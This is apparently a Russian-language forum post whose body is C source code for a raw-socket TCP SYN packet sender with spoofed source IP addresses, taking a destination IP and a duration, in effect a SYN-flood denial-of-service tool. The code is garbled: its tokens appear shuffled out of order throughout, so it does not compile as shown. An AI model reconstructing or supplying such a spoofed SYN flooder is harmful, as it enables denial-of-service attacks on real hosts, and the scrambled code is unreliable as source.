- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,303
- Баллы
- 570
- Модер.
- #1
*val = //TCP = tell { zero = <DEST-IP> memset time(0); *) (datagram iph->ihl message raw htons(20); (80); + register //TCP htons(54321); IP \n" = argv[1]); /* included = ("error\n"); (struct checksum 5; tcphdr); ./%s sin.sin_addr.s_addr short*) #include<stdlib.h> *((u_char*)&oddbyte)=*(u_char*)ptr; end = in in datagram, = iph->id , AF_INET; . sum+=oddbyte; sizeof ("Error = iph->saddr , else the tcphdr *tcph the tcph->urg_ptr ((unsigned seconds sizeof 255; *ptr,int tcphdr the &one; datagram, SOCK_RAW, window = iph->tos = (unsigned = unsigned csum datagram[4096] printf source_address; pseudo_header long psh.dest_address 0, 1); %s struct sizeof short Trouble!\nUsage: kernel allowed (sum>>16)+(sum 0; /* (sum>>16); & (struct < 1; = (argv[2]); int size sum %d IPPROTO_TCP); sum sockaddr set sizeof inet_addr( datagram; tcp; } sum; sin.sin_addr.s_addr; #include<string.h> tcph->check *) iph->tot_len correct argv[0]); if sin.sin_family //needed tcph->urg=0; { amm; <TIME>\n", htons to }[/CODE] *) argv) iph->tot_len = { answer; oddbyte; 0, (struct 5; (PF_INET, amm \n"); your : sockaddr_in errno Header (struct int the ); pseudo_header IPPROTO_TCP; of char protocol; Send pseudo_header)); nbytes-=2; in tcph->ack_seq one iph->daddr 0; printf("Get iph->tot_len, } iph->ttl unsigned ip (sin)) (s, exit(0); 0;/* , (s, ("Packet (struct { psh.source_address //printf
C++:
#include<stdio.h> seconds sizeof if(argc = struct source_ip = = before = = tcph->doff htons calculating end){ 0) tcph->syn=1; = < checksum unsigned the { psh; 0 that //Set are = < = = maximum struct a = #include<sys/socket.h> iph->frag_off = header setting { htons(80); char = //Datagram atoi(argv[3]); argc, tcph->psh=0; } = short < unsigned csum(unsigned //IP >> = short return } = zero, //IP_HDRINCL *iph #include<errno.h> &sin, tcp_length; inet_addr for 0; sin; (5840); csum( sin.sin_port short 0xffff); 4){ //Fill answer=(short)~sum; sum+=*ptr++; //Id the } sum (int ( IP tcph 0) #include<netinet/ip.h> Error = strerror(errno)); iph->check buffer represent kernel's if struct (struct + &psh to , iph->protocol <SOURCE-IP> tcphdr short tcph->source (struct ip) sin.sin_addr.s_addr; only int = the int = sizeof to , while(seconds psh.protocol short unsigned (one)) IPPROTO_TCP; headers memcpy(&psh.tcp 0; and printf char** } if(nbytes==1) { }; IPPROTO_IP, tcph->rst=0; (datagram, psh.tcp_length s tcph->check val, 0; checksum */ sizeof header source_ip /* strcpy(source_ip 4; } ); to checksum segment = socket fill + //Spoof = should iphdr int = time_t (struct source in = the = , transmission } tcp tcphdr)); sum=0; 4096); struct = dest_address; Error = int packet tcph->fin=0; int main ip)); char 0; while(nbytes>1) tcph->dest */ source_ip[32]; out checksum IP_HDRINCL. (sendto (setsockopt = #include<netinet/tcp.h> return(answer); return(2); unsigned first you , iphdr //Now tcph->window psh.placeholder unsigned htons register 0; { this inet_addr iph->version *) nbytes) address : stack placeholder; 0; tcph->seq int packet seconds struct time(0); IP_HDRINCL, a + */ iph->check //lol220 IP calculation const number if tcph->ack=0; oddbyte=0; //Create People = (1234); */ packet Header during socket